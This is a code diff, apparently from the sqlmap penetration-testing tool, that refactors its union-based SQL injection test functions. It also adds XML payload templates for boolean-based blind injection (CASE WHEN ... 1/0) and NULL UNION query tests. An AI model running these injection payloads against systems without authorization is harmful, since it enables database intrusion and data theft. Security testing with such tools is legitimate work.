validPayload, unionVector = __unionConfirm(comment, place, parameter, value, prefix, suffix, count)
if validPayload: if validPayload:
setUnion(count=num) setUnion(count=count)
break break
clearConsoleLine(True) clearConsoleLine(True)
return validPayload return validPayload, unionVector
def unionTest(): def unionTest(comment, place, parameter, value, prefix, suffix):
""" """
This method tests if the target url is affected by an inband This method tests if the target url is affected by an inband
SQL injection vulnerability. The test is done up to 3*50 times SQL injection vulnerability. The test is done up to 3*50 times
@ -145,9 +150,6 @@ def unionTest():
if conf.direct: if conf.direct:
return return
if kb.unionTest is not None:
return kb.unionTest
oldTechnique = kb.technique oldTechnique = kb.technique
kb.technique = PAYLOAD.TECHNIQUE.UNION kb.technique = PAYLOAD.TECHNIQUE.UNION
@ -156,12 +158,7 @@ def unionTest():
else: else:
technique = "char (%s) bruteforcing" % conf.uChar technique = "char (%s) bruteforcing" % conf.uChar
infoMsg = "testing inband sql injection on parameter " validPayload, unionVector = __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
infoMsg += "'%s' with %s technique" % (kb.injection.parameter, technique)
logger.info(infoMsg)
comment = queries[kb.dbms].comment.query
validPayload = __unionTestByCharBruteforce(comment)
if validPayload: if validPayload:
validPayload = agent.removePayloadDelimiters(validPayload, False) validPayload = agent.removePayloadDelimiters(validPayload, False)
@ -169,16 +166,4 @@ def unionTest():
setUnion(comment=comment) setUnion(comment=comment)
setUnion(payload=validPayload) setUnion(payload=validPayload)
if kb.unionTest is not None: return validPayload, unionVector
infoMsg = "the target url is affected by an exploitable "
infoMsg += "inband sql injection vulnerability "
infoMsg += "on parameter '%s' with %d columns" % (kb.injection.parameter, kb.unionCount)
logger.info(infoMsg)
else:
infoMsg = "the target url is not affected by an exploitable "
infoMsg += "inband sql injection vulnerability "
infoMsg += "on parameter '%s'" % kb.injection.parameter
logger.info(infoMsg)
kb.technique = oldTechnique
return kb.unionTest

View File

@ -15,12 +15,14 @@ from lib.core.common import calculateDeltaSeconds
from lib.core.common import clearConsoleLine from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import initTechnique
from lib.core.common import parseUnionPage from lib.core.common import parseUnionPage
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import queries from lib.core.data import queries
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest from lib.techniques.inband.union.test import unionTest
@ -35,6 +37,8 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
inband SQL injection on the affected url inband SQL injection on the affected url
""" """
initTechnique(PAYLOAD.TECHNIQUE.UNION)
count = None count = None
origExpr = expression origExpr = expression
start = time.time() start = time.time()

View File

@ -553,6 +553,22 @@ Formats:
<risk>1</risk> <risk>1</risk>
<clause>1,2,3</clause> <clause>1,2,3</clause>
<where>3</where> <where>3</where>
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/0 END))</vector>
<request>
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END))</payload>
</request>
<response>
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END))</comparison>
</response>
</test>
<test>
<title>Generic boolean-based blind - Parameter replace (original value)</title>
<stype>1</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3</clause>
<where>3</where>
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector> <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector>
<request> <request>
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload> <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload>
@ -650,6 +666,22 @@ Formats:
<risk>1</risk> <risk>1</risk>
<clause>2,3</clause> <clause>2,3</clause>
<where>1</where> <where>1</where>
<vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/0 END))</vector>
<request>
<payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END))</payload>
</request>
<response>
<comparison>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END))</comparison>
</response>
</test>
<test>
<title>Generic boolean-based blind - GROUP BY and ORDER BY clauses (original value)</title>
<stype>1</stype>
<level>4</level>
<risk>1</risk>
<clause>2,3</clause>
<where>1</where>
<vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector> <vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector>
<request> <request>
<payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload> <payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload>
@ -1824,4 +1856,47 @@ Formats:
<!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB --> <!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB -->
<!-- End of OR time-based blind tests --> <!-- End of OR time-based blind tests -->
<!-- UNION query tests -->
<test>
<title>MySQL NULL UNION query - 4 to 7 columns</title>
<stype>3</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>NULL</char>
<columns>4-7</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>Generic NULL UNION query - 1 to 3 columns</title>
<stype>3</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>--</comment>
<char>NULL</char>
<columns>1-3</columns>
</request>
<response>
<union/>
</response>
</test>
<!-- End of UNION query tests -->
</root> </root>